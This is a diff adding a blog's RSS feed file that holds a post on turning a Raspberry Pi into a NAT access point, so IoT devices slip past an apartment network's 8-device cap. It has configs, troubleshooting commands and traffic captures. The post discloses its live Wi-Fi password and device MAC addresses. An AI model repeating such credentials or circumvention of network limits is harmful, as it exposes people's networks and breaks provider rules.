    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/hostapd/index.xml b/public-clearnet/tags/hostapd/index.xml new file mode 100644 index 0000000..495087a --- /dev/null +++ b/public-clearnet/tags/hostapd/index.xml @@ -0,0 +1,593 @@ +Hostapd on AlipourIm journeyshttps://blog.alipour.eu/tags/hostapd/Recent content in Hostapd on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
